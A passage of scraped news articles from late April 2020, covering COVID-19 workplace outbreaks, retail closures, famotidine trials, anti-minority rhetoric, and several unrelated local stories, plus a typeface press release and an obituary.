help them secure protective equipment, like face shields and masks, and ramp up testing, the official said. The Centers for Disease Control and Prevention and the Occupational Safety and Health Administration have issued extensive guidelines on steps companies and workers should take. Protecting workers can be especially challenging at plants that typically employ thousands of people who often work side-by-side carving meat, making social distancing all but impossible. Some companies have been working to reduce infections by checking workers' temperatures, staggering breaks and altering start times. Owners said they have also done more to clean plants and added plastic shields between workstations. When outbreaks have happened, local public health agencies have pushed in some cases for temporary closures so they can limit wider outbreaks in communities and conduct mass testing to determine who is carrying the virus. Some plants have also briefly closed for deep cleaning and to install new safety measures. Yet concerns about working conditions persist and have led some to walk off the job. In central Minnesota, some workers at the Pilgrims Pride poultry plant walked out Monday night to protest the company's record on worker safety. Mohamed Goni, an organizer with Greater Minnesota Worker Center, said workers have complained the company is not sharing information about sick colleagues, has not implemented social distancing on the line, and that workers who were sick returned after just two or three days, and some workers who developed symptoms were not allowed to leave when they asked to go home. The company refused, saying there would be a shortage of workers, Goni said, adding that 80% to 85% of the plants workers are Somali. They have other family members living with them elderly, children, people with underlying conditions. So if one of them brings that to their homes, its going to be more worse and a more serious problem, Goni said. Jen Zoratti | Next A weekly look towards a post-pandemic future delivered to your inbox every Wednesday. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. Cameron Bruett, head of corporate affairs for JBS USA and Pilgrims, said in an email that employees are never forced to work or punished for an absence due to health reasons. "We will endeavour to keep our facilities open to help feed the nation, but we will not operate a facility if we do not believe it is safe. The health and safety of our team members remains our number one priority, Bruett said. In South Dakota, Gov. Kristi Noem has said she hopes to see a reopening plan for Smithfield this week, but sidestepped questions Tuesday about whether she agreed with Trumps order, which might have prevented the Sioux Falls plant from shutting down if it had been in place earlier. We need to keep (plants) running, but we also need to protect people, Noem said. ___ Associated Press writers Ryan J. Foley in Iowa City, Iowa; Amy Forliti in Minneapolis; and Stephen Groves in Sioux Falls, South Dakota, contributed to this report. [April 28, 2020] Introducing Macklin: A Typeface Superfamily Built for a New Generation of Design Monotype today unveiled the Macklin typeface superfamily, designed by Malou Verlomme of the Monotype Studio. Macklin is a typeface that demands attention and enables brands to appeal more emotionally to modern consumers. The superfamily includes four sub families (Sans, Slab, Text and Display), with weights from hairline to black, totaling 54 styles. The complete superfamily can also be accessed as variable fonts. Macklin's sharp and elegant forms perfectly encapsulate the needs of a full visual identity system, making it ideal for a wide range of brands from editorial publications to luxury, beauty and even packaging design. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20200428005153/en/ (Photo: Business Wire) Macklin was inspired by the work of 19th century British typographer Vicent Figgins. Figgins was influential at a time when typography was transformed by the appearance of job printing and advertising, which unleashed a new era of stylistic experimentation. Macklin synthesizes Figgins' body of work into a single, comprehensive type system. Each sub family has been designed with the same underlying skeleton, allowing designers to get creative with contrast and expression without worrying about awkward pairings. "Macklin is not a historical typeface. In fact, I went through several stages of 'de-historization' during the design process," said Malou Verlomme, senior type designer at Monotype. "While keeping the basic structure intact, all the historical details have been removed, even the iconic teardrop terminals. The result is a contemporary family that offers a large palette for branding and editorial needs." Verlomme continued, "When I settled on the current form of Macklin, I focused on the needs of today's designer: A sans for everyday needs; a sturdy slab that stands out; a text for loger reading; and a display for large, crisp headings." What creative professionals are saying about Macklin. "Macklin is lovely. I do like a super family. I know a lot of people scratch their heads when trying to pair fonts, and super families answer that conundrum so I'd imagine designers will respond well to a family that includes such diversity. I also like its humanity and character. It's got warmth without being quirky. It'll stand the test of time." - Richard Weston, senior interpretation designer, Tandem Design "We're big Macklin fans! The numerals two and seven are a thing of beauty. However, the main thing we noted was how it's only when you start to compare individual characters, that you actually appreciate the continuity across all four sub families." - Ash O'Brien, partner, Two of Us "Macklin captures that moment between straightforward printing faces and the boom of advertising and the industrial era. But it's not a revival or a classic. It's got the Malou twist on what modernity is now." - James Fooks-Bale, Monotype senior director, brand, Monotype. Pricing & Availability Single weights of the Macklin typeface are available now for $/49 or 55 each. The complete superfamily (54 fonts) or variable package (4 fonts) are available for $/199 or 169. Macklin is immediately available through Mosaic, Monotype's cloud-based font discovery, collaboration and management solution. It can also be purchased through MyFonts.com, Fonts.com, Linotype.com, and Fontshop.com with an introductory promotion of 75 percent off for the first 90 days. Download Macklin Sans Extra Light and Macklin Slab Extra Bold at no cost through July 27th, 2020. The Macklin superfamily, sub families, variable font and individual typefaces are also available with a variety of licensing options for customers through Monotype enterprise sales. To learn more about the Macklin typeface, visit the specimen page. To join the conversation about the Macklin typeface on social media, search #MeetMacklin on Twitter, Facebook (News - Alert) and Instagram. About Monotype Monotype empowers creative minds to build and express authentic brands through design, technology and expertise. Further information is available at www.monotype.com. Follow Monotype on Twitter, Instagram and LinkedIn. Monotype is a trademark of Monotype Imaging (News - Alert) Inc. registered in the U.S. Patent and Trademark Office and may be registered in certain other jurisdictions. All other trademarks are the property of their respective owners. 2019 Monotype Imaging Holdings Inc. All rights reserved. View source version on businesswire.com: https://www.businesswire.com/news/home/20200428005153/en/ [ Back To TMCnet.com's Homepage ] Mayors react with caution to reopen orders With 20 new coronavirus cases and two more deaths confirmed on Monday, the mayors of Jefferson Countys largest cities urged caution as Gov. Greg Abbott announced a partial reopening of Texas retail and other businesses. Read more here. Jasper getting test center The State of Texas will open a mobile test collection for one day Wednesday, according to a news release from Texas Health and Human Services. Read more here. By the numbers Click through the slideshow to see a by-the-numbers look at coronavirus in Southeast Texas. See more here. Phalen Leadership Academy extends resources into summer Two schools in Beaumont Independent School District that partner with Phalen Leadership Academy plan to distribute laptops to every student by mid-May as part of their distance-learning plan. Read more here. Side jobs essential for Southeast Texans Josh Duncan, like many other area restaurant workers, is out of work, but he is hustling to support his family. Read more here. American brick-and-mortar retail has been having a tough time for the past three years, and the pandemic might just finish it off altogether, turning physical stores into nothing more than fulfillment centers. In the early 2010s, in the aftermath of the Great Recession, several large retail chains announced plans to shutter dozens of stores. It was expected that the industry would bounce back in a few years; yet, the retail apocalypse showed no sign of recovering. In 2017, retailers shuttered a record-breaking 8,000 stores of 102 million square of feet of store space. Then, 2018 proved far worse, with another 155 million square feet of space shut down. And still, that staggering rate of store closures that rocked the retail industry was nothing compared to 2019, when retailers set a new record for store closings at over 9,000. As usual, online retailers are first to blame for the brick-and-mortar collapse in the US, and in the case of pandemic, they really are. Back in 2018, e-commerce sales accounted for 14.3% of retail sales, compared to the less than 9% in 2017. COVID-19 solidified a trend that was already in motion. As of early April, e-commerce sales from online-only retailers are up 34% year over year in the US, and the number of orders has increased 52% year over year. But then again, for retailers that are mostly store-based, online sales have increased 14% year over year and the number of orders has increased 32% year over year. Non-essential retailers have been either shut down or reliant solely on eCommerce to bring in any sales. The pandemic has put pressure on many retail stores, leading to the rise of the dedicated fulfillment centers, otherwise known as dark stores. It started with grocery stores and has expanded to others. Bed Bath & Beyond said last week that roughly 25% of its stores in the US and Canada would be turned into fulfillment centers--temporarily, they hope. A number of fashion brands are also converting their stores to fulfillment centers to provide faster deliveries. Related: Trump Tweet Sends Oil Soaring 25% With 97% of the US population currently under a stay-at-home or shelter-in-place orders, and businesses still shut down with no clear idea as to when they will gradually reopen, state by state, even the once-profitable are sinking. Will they be able to recover? Maybe. But the best chance of recovery is for those who firmly grasp an online aspect to their business. Only the digital will likely survive. Macys has furloughed more than 100,000 workers. Kohl's, JCPenney and Nordstrom have temporarily closed all of their stores and put their workers--about 300,000 people--on furlough. Combined, $12.3 billion has been wiped from the market caps of those companies since the start of this year. JCPenney announced that it elected not to make a $12 million interest payment due and payable on April 15th, while jeans maker True Religion and luxury department store Neiman Marcus have filed for Chapter 11. According to a survey by the National Bureau of Economic Research, just 30% of thousands of small businesses surveyed expect to survive a lockdown that lasts four months. That doesnt sound comforting since the White Houses coronavirus task force coordinator Deborah Birx just said that some form of social distancing would probably remain in place through the summer. No one knows exactly what that means, and messages coming out of the White House have been contradictory at best. Now, even though states are working on reopening the economy in the coming weeks, it is hard to say when all businesses will be reopened. It is also hard to say when customers will feel comfortable enough to roam the stores and malls again for anything that isnt essential. Its also hard to say whether the customers will even feel the need to get back out onto the shopping streets when theyve grown used to ordering online with few drawbacks. If there was ever a brilliant advertising campaign for online retail, it was a pandemic, the final nail in the brick-and-mortar coffin. By Josh Owens for Safehaven.com More Top Reads From Safehaven.com: At the resumption of duties after five weeks of vacation, members of Nigerias House of Representatives on Tuesday said they will investigate the legality of Chinese nationals living in Nigeria for possible repatriation to their country. The Reps made the resolution on Tuesday at their plenary following their return from five-week recess amid outbreak of coronavirus in the country. The motion was sponsored by 10 lawmakers Benjamin Kalu, Yusuf Buba, John Dyegh, Babajimi Benson, Tunji Olawuyi, Zakari Galadima, Olubunmi Tunji-Ojo, Nnoli Nnaji, Dennis Idahosa, and Tolu Shadipe. This followed the poor treatment of Nigerians in China, especially those living in Guangzhou. During the plenary presided over by the Speaker of the House, Femi Gbajabiamila, the lawmakers considered a motion on the Maltreatment and Institutional Acts of Racial Discrimination against Nigerians Living in China by the Government of China. The lawmakers mandated the House Committees on Interior, Nigeria Content Development and Monitoring, as well as Commerce, to take up the assignment. The House asked the committees to investigate the Nigeria Immigration Service, Corporate Affairs Commission (CAC), Nigerian Content and Development Monitoring Board, and any other relevant Ministry, Department or Agency (MDA), to check the validity of all immigration documents of every Chinese national in Nigeria. It further ordered the committees to probe the expatriate quota of all Chinese businesses in Nigeria to ascertain the number of illegal and undocumented immigrants in the country and ensure they were repatriated to China to regularise. The lawmakers said this would be in collaboration with the Immigration, Nigeria Customs Service, the CAC, and relevant MDAs. The House of Representatives also resolved to urge the Ministry of Foreign Affairs and all relevant MDAs to ensure that all categories of Nigerians who wished to return home were evacuated from China and quarantined upon arrival. The lawmakers urged the Attorney General of the Federation and Minister of Justice and all relevant MDAs to provide necessary financial and other assistance to affected Nigerians who wish to seek redress in any local or international court for breach of fundamental rights, loss of property or any other actionable cause occasioned by their maltreatment or discrimination in China. Channels TV reports that the lawmakers asked the Committees on Inter-Parliamentary Relations, Foreign Affairs, Human Rights and Diaspora, to ascertain the extent of violation of rights of Nigerians in China, as well as losses arising from such maltreatment. The lawmakers with the various responsibilities were asked to report back within two weeks for further legislative action. The House, however, sought the concurrence of the Senate on the motion. A 25-year-old Easton man was cited for his alleged involvement in a fatal two-car crash in Easton on Sunday that killed 37-year-old Scott A. Lewis, prosecutors said. Police have requested that Jake McCabe be charged with motor vehicle homicide by negligent operation, a marked lanes violation and unsafe operation of a motor vehicle, the Bristol District Attorneys office said in a statement. Authorities responded around 1:50 p.m. on Sunday to a report of a head-on collision near 539 Bay Rd. Lewis was found in a Kia Rio and given aid. The South Easton resident died at the scene, according to the statement. McCabe was found in a Cadillac Escalade and taken to Boston Medical Center with injuries that were not life-threatening, the statement said. The matter will be set down for a clerks hearing through the Taunton District Court at a later date, the district attorney said. The incident remains under investigation, and more charges could be issued, according to the district attorney. Related Content: Scott A. Lewis, 37, identified as victim of fatal head-on collision in Easton A former member of a North Carolina church that is being blamed for the local spread of coronavirus, has been arrested after he was caught breaking into a pastor's home as the county panicked about who was to blame for the local spread of the illness. Stephen Cordes was found in Word of Faith Fellowship senior associate minster Brooke Covington's closet Monday when the church confirmed three members had died from COVID-19. He had a loaded gun in his vehicle trunk. Some residents of Rutherford County where 121 were infected and six had died as of Monday - had previously made threats toward the church and its members, some of whom live in multi-family housing on its gated compound. In keeping with social distancing guidelines, services are being livestreamed online and the church has posted video evidence that police were monitoring their movements by patrolling the area. Stephen Cordes was found in the closet of a Word of Faith Fellowship minster on Monday. He had a loaded gun in his car Word of Faith Fellowship has been live-streaming services in compliance with social distancing guidelines (pictured). However Rutherford County, North Carolina residents have spread rumors the church is responsible for a chunk of coronavirus cases One man suggested 'old timey lynching' after hearing that 29 COVID-19 cases came from the church Others posted messages online about burning down the church with members inside Rutherford Emergency Management did not say where clusters of infections were coming from but on Friday stated cases were in 'healthcare agencies, retail stores, commercial businesses, congregate living situations and educational entities'. One man speculate that 29 out of 31 cases were from the church. 'If anything happens to my family that is still in there so help me ... ,' the gunman wrote on Facebook on April 8. Cordes is now based in Raleigh. Corde was charged with breaking and entering to terrorize and injure, plus two drug offenses, one of them a felony, the Charlotte Observer reports. He remained jailed Monday on $100,000 bond. Police said they were investigating as others had threatened violence on the congregation and pastors. 'Can we just lock up the WoFF compound and burn it to the ground with them inside?' Drannon Brown posted. 'That was we could open up the rest of the county.' Cordes showed up at Brooke Covington's home as the church confirmed three members had died Monday. She is pictured with Joshua Valentine after she was tried for second-degree kidnapping and simple assault charges in 2017 but that case ended in mistrial The church has accused Citizens Against Corruption and Abuse of being a hate group Cordes was seen commenting on the Facebook group's online posts earlier this month He is a former member whose family still lives inside the compound the church is on 'There needs to be an old timey lynching if this is true and the authorities can't stop it and perhaps they need some help!' Joe Alley posted online. 'I could be talked into an convoy of 10-100 cars and trucks pulling into their parking lot at one time and causing a ruckus so bad they could have services until this pandemic is over.' The angry messages followed news that on Sunday the infection rate was up 54 percent compared to the week before. Another man wrote: 'Maybe if you just put your big girl panties on and just eradicated that compound & made it a crater this might get (the disease) under control.' Some messages were targeted specifically at senior pastor Jane Whaley. 'If I had money and I knew where she lived, I'd burn her house down,' one person wrote. 'Sick woman all I can say! Hope they arrest her and everyone else involved,' another posted. 'Burn the place to the ground while at it! Show her the (expletive) devil.' The church exposed the 'small but very vicious group who spew hate, misinformation and lies' by sharing screen grabs of the messages on their website. 'This isn't "free speech." It is hate speech designed to kill, steal and destroy,' they said in a statement before the break-in occurred. 'During times of deep personal and corporate tragedy, pastoral spiritual support is needed more than ever.' The church shared the details of the shocking messages on their website and police began an investigation Some messages were targeted specifically at senior pastor and church founder Jane Whaley. Whaley was accused in 2017 of coercing congregants into filing fraudulent unemployment claims The church has been the subject of controversy for years. Whaley, the founder and pastor was accused in 2017 of coercing congregants into filing fraudulent unemployment claims. Dozens of former members estimated the fraudulent claims would have drawn payments totaling in the hundreds of thousands over the course of six years. There have also been abuse allegations against the church where 'congregants were regularly punched and choked in an effort to beat out devils'. A man accused the group in Spindale of attacking him for being gay in a verbally abusive and violent process called 'blasting' prayer. One of his alleged attackers, Covington, was tried for second-degree kidnapping and simple assault charges but that case ended in mistrial in 2017. Matthew Fenner's mother, Linda Addington, initially testified against him at that trial. Then she said the group had her 'brainwashed' and she ignored red flags. 'This isn't "free speech." It is hate speech designed to kill, steal and destroy,' they said in a statement YEREVAN, APRIL 28, ARMENPRESS. The statue of Mahatma Gandhi will be installed in Yerevan, in particular in the territory of a park between Halabyan St. and Margaryan St.. The respective decision was approved today during the session of the Yerevan City Council with 43 votes in favor, 0 against and 2 abstentions. The decision was approved based on the request of the foreign ministry of Armenia to the Yerevan Mayor. The ministry requested to approve the installation of the statue of Indias spiritual leader, philosopher Mahatma Gandhi in Yerevan on his 150th anniversary of birth. Mahatma Gandhi was an Indian lawyer, anti-colonial nationalist, and political ethicist, who employed nonviolent resistance to lead the successful campaign for India's independence from British Rule. Gandhi's birthday, 2 October, is commemorated in India as Gandhi Jayanti, a national holiday, and worldwide as the International Day of Nonviolence. Reporting by Lilit Demuryan; Editing and Translating by Aneta Harutyunyan People are buying up heartburn medicine after it emerged that hospitals are testing a heartburn drug as a possible treatment for coronavirus, leading to shortages of popular brands. Major retailers such as Amazon and Walgreens appeared to be experiencing shortages of the medication. Amazon was running out of stock of Pepcid AC, which is made from famotidine, a substance that decreases stomach acid production. Northwell Health had tested famotidine (sold in oral form under brand name Pepcid) on 187 critically ill patients out of an intended 1,174 as of Saturday as part of an American trial. Pictured in this file image, is Lenox Health Medical Pavilion part of Northwell Health system in New York on March 28 The sudden demand for famotidine comes as hospitals in New York have been quietly testing a heartburn drug as a treatment for coronavirus after doctors in China found that elderly survivors were taking it. Northwell Health had tested famotidine, sold in oral form under brand name Pepcid in the US and the UK, on 1,1174 patients - including 187 who were critically ill - as of Saturday as part of an American trial. Interim results from 391 patients should be available in 'a few weeks' Kevin Tracey, a former neurosurgeon in charge of Northwell's research told Science magazine. Pharmacy chain CVS appeared to be out of stock of famotidine in almost all of its New York branches. Many locations in Los Angeles, Chicago, Houston, and other cities were also out of stock, Business Insider reported. Meanwhile Walgreens had only limited stock of the medication and had sold out entirely in some areas. ZIP codes around the US showed out-of-stock notices, according to the publication. Interest in the drug amid the pandemic developed after doctors in Wuhan found that although one in five COVID-19 patients over the age of 80 were dying, of the survivors, many were taking pills for heartburn. Doctors in Wuhan found that some elderly patients in China who were on famotidine (pictured) were surviving coronavirus They discovered that the poor elderly people had a higher survival rate. The poor patients used famotidine because it was cheaper than omeprazole. Famotidine is sold under the brand name Pepcid and omeprazole is sold as Prilosec. In a review of 6,212 medical records, with many patients on ventilators, the doctors in China found that only 14 percent of the elderly people using famotidine died while 27 percent of elderly people on omeprazole passed away. Scientists suspect that in COVID-19, famotidine binds to the papainlike protease, an enzyme which helps viruses replicate in the body and stops them replicating. US scientists have used the 3D structures of 2003's SARS coronavirus to predict the behavior of the new coronavirus, COVID-19. WHAT IS FAMOTIDINE? Famotidine is an antacid and antihistamine which blocks certain receptors that trigger the release of stomach acid. Its known as an H2 (histamine 2) blocker and is sold under the brand name Pecid or Pepcid AC. As well as treating heartburn caused by acid indigestion, it is also used to treat stomach ulcers and gastroesophageal reflux disease. Advertisement Testing 2,600 compounds on the new protease, they found several dozen that proved promising in how they interacted with the protease but pharmacists have narrowed it down to three, one of which is famotidine. After getting approval from the FDA, Northwell which runs 13 hospitals in New York used its own money to start a blind double trial. On April 14, the US Biomedical Advanced Research and Development Authority (BARDA), which operates under Kadlec, gave Florida-based Alchem Laboratories, a $20.7 million contract for the trial. The money is reported to cover most of Northwell's upfront cost. Doctors have only been able to gather enough patients to test on because many are undergoing trials of anti-malarial drug hydroxychloroquine. A group of patients on hydroxychloroquine and famotidine will be compared to those on just hydroxychloroquine as well as hundreds treated early on in the COVID-19 outbreak. 'Is it good science? No,' Northwell's Tracey told Science magazine. 'It's the real world.' David Tuveson, director of the Cold Spring Harbor Laboratory Cancer Center, recommended famotidine to his sister, who had coronavirus. The 44-year-old New York City hospitals engineer's lips wee blue with hypoxia but after taking her first megadose of famotidine her fever broke the following day and her oxygen saturation level returned to normal. Tuveson said five of her colleagues who had the new virus also recovered after taking over-the-counter versions of famotidine. Those over 80 with heartburn issues and that used the cheaper drug, Pepcid (left), had a higher survival rate than those using the expensive alternative, Prilosec (right). Pepcid contains famotidine and Prilosec contains omeprazole Scientists suspect that in COVID-19, famotidine binds to the papainlike protease which helps pathogens replicate in the body and stops them replicating Michael Callahan, a doctor based at Massachusetts General Hospital in Boston, returned from Wuhan with the famotidine information and now it is being used with hydroxychloroquine They kept trials under wraps as after President Trump called the anti-malarial drug a 'gamechanger' in a coronavirus task force briefing, people have rushed to hoard it. 'If we talked about this to the wrong people or too soon, the drug supply would be gone,' Tracey said. Timothy Wang, head of gastroenterology at Columbia University Medical Center, is also helping Northwell's efforts by retrospectively reviewing records of 1,620 COVID-19 patients. Northwell is also testing Regeneron's sarilumab and Gilead Science's remdesivir. There's not enough evidence to suggest any drug as an effective COVID-19 treatment. Michael Callahan a doctor based at Massachusetts General Hospital in Boston who returned from Wuhan with the famotidine information has since evacuated Americans off two cruise ships with coronavirus outbreaks. He said: 'No amount of smart people at the [National Institutes of Health] or Harvard or Stanford can outclass an average doctor in Wuhan.' Malaria is still among the top 10 Out-Patients Department (OPD) cases recorded between 20162019 in Western and Western North regions, accounting for about 27 percent of OPD attendance. Dr. Kofi Asemanyi-Mensah, the Deputy Director of Public Health in the Western Region, who made this known to the Ghana News Agency, said, "Malaria remains endemic and ranks as the leading cause of morbidity and mortality of Outpatient attendance." He said Institutional Malaria under five case fatality rates for Western North reduced from 0.10% in 2018 to 0.09 in 2019. He indicated that tests and appropriate treatment, training on malaria case management, monitoring and supervision, availability of drugs, and auditing of all malaria deaths were some of the contributory factors for the achievement. Dr. Asemanyi-Mensah noted that the entire population was at risk of the disease but pregnant women, children under five years, and the immuno-compromised were the most at-risk groups. The Ghana Health Service is implementing several interventions to deal with the disease. They include; distribution of Long-Lasting Insecticidal Nets (LLINs) and mass campaigns as well as replacement in every three years, continuous distribution through health facilities and primary schools, Intermittent Preventive Therapy in Pregnancy (IPTp), Use of sulphur oxide pyrimethamine (SP) for pregnant women and Case Management. The rest are; Prompt and accurate treatment in the health facilities: public& private Health Facility, testing before treatment-microscopy/RDTs-Parasite based diagnosis (Microscopy and RDT), and Artemisinin-based Combination Therapies (ACTs). Dr. Asemanyi-Mensah said the proportion of children due for Measles-Rubella two receiving LLIN for Western Region increased by two percentage from 88% in 2018 to 90% in 2109. Similarly, Western North Region increased by three percentage from 94% in 2018 to 97% in 2019. He attributed the gains to continuous monitoring and supervision as well as the availability of nets in facilities. He also said suspected malaria cases that were tested for malaria before treatment had generally improved. "This is probably due to adherence to the treatment protocol, monitoring and supervision, availability of test kits, and regular feedback". Intermittent Preventive Therapy in Pregnancy (IPTp) Coverage for the Western region increased by six percentage from 45% in 2018 to 51% in 2019. Dr. Asemanyi-Mensah lauded clients for their compliance with pregnancy schools and home visits by health staff that had resulted in the increased coverage. He said the 2019 school distribution of LLIN was carried out in 23 districts of the region. Activities towards the school distribution focused on Training, Social Behaviour Change Communication (SBCC), Validation with Schools Health Education Programmes (SHEP), and Health Management Teams in both regions. In all, a total of 150,130 pupils in both 1,620 public and 947 private schools received nets as against 148,291 pupils targeted for the campaign, representing 98.7% coverage. The theme for this years malaria day celebration is: Zero Malaria Start With Me, which Dr. Asemanyi-Mensah said it was important people took actions to ensure everyone is protected from malaria and COVID-19. "Just as we ought to wear the mask, sanitize our hands, practice social distancing, and wash our hands with soap under running water, so must we take charge of our health, and that of our families, and practice the precautionary of malaria by sleeping under an insecticide-treated net, testing for malaria before treatment and pregnant women should take the recommended dose of sulphur oxidepyrimethamine (SP) to keep themselves and unborn babies from malaria," he added. Source: GNA Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Travel in the entire island of Luzon, as well as major cities in Visayas and Mindanao, has been heavily affected as the Philippine Government continues to place the entire country under enhanced community quarantine (ECQ) in its effort to stave off the coronavirus (Covid-19) pandemic. The ECQ restricts any kind of land, sea and air travel, which also includes the suspension of all types of ride sharing services. Faced with this issue, some ride-hailing apps were compelled to adjust their services from people to cargo delivery, while also ensuring that their gig workers are well-supported through the Covid-19 crisis. Three of the successful transitionists are Grab, Angkas, and JoyRide. Read about their Covid-19 efforts below. GrabBayanihan grab facebook page Grab Philippines put a pause to their passenger ferrying services last March 13, but retained GrabFood and GrabExpress, their services related to the delivery of food and goods. The countrys biggest ride hailing app also activated GrabBayanihan, a car service for frontliners and other healthcare workers that works round-the-clock, free of charge. Each GrabBayanihan car are allowed to ferry up to two healthcare workers at a time in accordance with the governments social distancing guidelines. All GrabBayanihan cars are specially marked so that healthcare workers and public order officials can easily distinguish them from other private vehicles. Grab also launched a host of other efforts in support of those affected by the pandemic. Some of the efforts that the company rolled out in assisting its driver-partners include the distribution of PHP 14 million worth of relief items to around 40,000 of its driver-partners. The relief packages, which Grab raised along with its partners, included grocery vouchers, rice, canned goods, medicine, and drinks. Grab also helped some driver-partners transition from GrabCar drivers to GrabFood and GrabExpress partners while the lockdown is in place. The company currently has over 1,900 activated partners driving and earning in the meantime. Financial assistance has been provided to those who are completely unable to work. Story continues Angkas Food angkas facebook page Angkas also suspended its services beginning March 15. A few days later on March 23, the company launched Angkas Food to serve those who are unable to purchase basic necessities due to inability to travel or leave their homes. The Angkas Food service comes with a corresponding delivery free ranging from PhP60PhP160, depending on the distance. Angkas Food is partnered with over 80 restaurants and dining establishments across the Metro. Delivering food is not our expertise, the company added. Wala kaming commission na kukunin dito, lahat ito ay para sa mga Angkas biker. The Angkas Food service is available from 10:00 am to 5:30 pm only. Last orders should be in by 5:00 pm to avoid their bikers getting caught in checkpoints at curfew. To ensure the safety of its riders and patrons, Angkas riders are required wear gloves and face masks while on duty. Additionally, they are reminded of Covid-19 precautions such as regular hand washing, social distancing, and no face-touching. Angkas riders are also required not to open the food packages of their customers. Angkas also accepts donations of ready-to-consume products and personal protective equipment (PPEs) to frontliner healthworkers, as well as cash donations for its riders. Angkas also has Angkas Padala, a goods delivery service that it has offered since 2017. JoyRide Delivery joyride facebook page JoyRide also suspended its motorcycle ride hailing services in Metro Manila starting midnight of March 15. On March 25, JoyRide launched JoyRide Delivery as a means to help its riders, as well as people affected by the ECQ in Luzon. JoyRide Delivery is an on-demand curbside delivery app. Booking JoyRide delivery will match the sender with a trained Kasundo Biker who will deliver the parcel to its drop-off destination, went JoyRides description for their new service. Items permitted for delivery are limited to food, drinks, groceries, medicine, clothing, parcels and documents, which the company insures up to PhP 2,000. JoyRide also places a restriction on the allowable dimensions of the item/s to be sent. Maximum allowable dimension is 17x1 x10 inches. The package should also weigh only up to 12 kilograms. JoyRide reminds its users avoid putting cash, high-priced items, expensive gadgets, prohibited drugs, flammable or explosive items, pets and animals, cakes and pastries, and suspicious-looking items in their package for safety reasons and also to avoid possible spoilage and disfiguration. JoyRide also offers another service, JoyRide Pabili, meant for smaller, more essential consumables. What about other ride hailing apps? At the beginning of 2020, there has been a total of nine ride sharing apps operating in the Philippines. Aside from those mentioned, we also have HirNa, MiCab, ePickMeUp, Go Lag, Owto, Hype, Ryd Global, and Snappy. Aside from the shutdown of their services, not much has been heard about the Covid-19 efforts of these companies. On the other hand, applicants for motorcycle taxis are in limbo as the government has yet to legalize the operation of motorcycle taxi program. In the pilot study that ended last month, the LTFRB only allowed Joyride, Angkas and MoveIt. Also Read: Grab to Suspend Ride-Sharing in MM, Metro Cebu Starting Tomorrow Noon Joyride Tops PH's Ride-Hailing Mobile Apps in Apple Store A Bharatiya Janata Party MLA from Uttar Pradeshs Deoria district kicked off a political row when he suggested to people of his constituency not to buy vegetables from Muslim vendors to avoid contracting the coronavirus infection. In a video, now gone viral, Suresh Tiwari is seen appealing to people: You all should keep one thing in mind, I am telling you openly: do not buy vegetables from Mia ( Muslims). When contacted, Tiwari confirmed to have made the remark and clarified that he suggested it as a precautionary measure to check the spread of infection after people complained to him about the role of Tablighi Jamaatis in spreading the deadly virus. There have been several instances of the people from the minority community complaining of discrimination and harassment after a global religious congregation in New Delhi in mid-March, held by Tablighi Jamaat, an Islamic movement of preachers, turned into a hotspot of Covid-19 cases. On April 18, I was distributing masks among people in Deoria when I came across general complaints from people who expressed fear that Tablighi Jamaatis are spreading the infection in Deoria. Many of them were worried that Muslim vendors are infecting vegetable with saliva. As a responsible MLA, I asked them not to take law in their hand, but simply stop buying vegetables from them. Tell me, what wrong have I done by saying such things, said the Barhaj MLA. Tiwaris remark drew sharp reaction from the opposition parties. UP Congress president Ajay Kumar Lallu blamed the legislators party for spreading hatred even at the time of a pandemic . At a time when the country and state are facing the coronavirus crisis, BJP leaders are busy fanning hatred .Its a shameful act which has exposed the real face of the BJP. The Tablighi Jamaatis who were under attack and blamed for spreading the coronavirus have set an example by donating their plasma to cure patients. I am confident that the countrymen will put up a united fight against Covid-19 by neglecting such comments, said the Congress leader. A student joining an online lesson (Photo: VNA) The information was released during the online annual conference of the Vietnamese Association in Kharkovs Vietnamese language division on April 26th to review tasks carried out last year and launch upcoming lesson plans and extracurricular activities. The contest, part of the events to commemorate the 130th birth anniversary of late President Ho Chi Minh (May 19th), encourages participants to study his life and career, especially his great love for children. Top scorers from the first round will qualify for the final. During the conference, First Vice President of the Vietnamese Association Vu Huy Duong said the Vietnamese language division took the initiative to arrange online classes in mid-March after the Ukrainian government announced social distancing rules to curb the spread of COVID-19. After one week, all classes were switched to online, he said./. Your tax-deductible gift today powers our reporters and keeps us independent. We rely on you, our reader, not paywalls to stay funded because we believe important news and information should be freely accessible to all. Start your day with LAist Sign up for the Morning Brief, delivered weekdays. Subscribe Our news is free on LAist. To make sure you get our coverage: Sign up for our daily newsletters. To support our non-profit public service journalism: Donate Now. A verse from Ian Whitcomb's only real pop hit, 1965's "You Turn Me On," gives you a hint why he turned his back on pop music: Come on now honey you know you really turn me on Come on now honey you know you really turn me on And when and when you do Uh huh huh huh uh uh. That's my song. Cole Porter it ain't, but it shot to #8. After a second, minor hit, Whitcomb devoted his life to songs with a little more musical and lyrical complexity. Whitcomb died April 19 of complications from a stroke he suffered in 2012. "I last visited Ian a few months ago when he was convalescing," says Larry Mantle, who hosts KPCC's public affairs show AirTalk. "Even during a grueling session with his physical therapist, he was focused on what I'd been up to, and entertaining me with witty observations. Ian had many friends and fans. He's an irreplaceable personality." When he appeared on my weekend radio show, Off-Ramp, in 2012, that personality was on display. "I was the Justin Bieber of my time, you've seen the photographs," Whitcomb said of his moment in the top 10. "The point is that the record company, Capitol Records, wanted a follow-up, but we just couldn't find anything. We had a song called "N-Nervous,' but it didn't really do the trick. My heart wasn't in rock 'n' roll anymore ... It was becoming psychedelic and it wasn't my field." "I always had a ukulele, I used to take the ukulele on the bus, on these tours. Then one day, a group called The Turtles -- who were on tour with me -- said, 'Ian, those songs that you sing are really funny, why don't you record them?' So I did, I went in and recorded 'Where Did Robinson Crusoe Go,' and I've been recording that kind of song ever since, and so my career has gone backwards." That song's full title is "Where Did Robinson Crusoe Go With Friday on Saturday Night." It was arranged by composer, producer and performer Van Dyke Parks, who called his old friend, "Our best Brit observer of such a broad compass of American music." Even, so, he said of the song: "Perhaps more people played on it than heard it, but it was a fey tonic of tropical splendor." Whitcomb lost the limelight, but became a noted author, writing several music histories: "After the Ball"; "Tin Pan Alley: A Pictorial History"; "Ragtime America"; and the memoir, "Rock Odyssey: A Chronicle of the Sixties." He played the tunes he loved on "The Ian Whitcomb Show" on KPCC in the 1990s, when it was an eclectic music station. (The show was previously on KROQ and KCRW.) He maintained two dance bands in 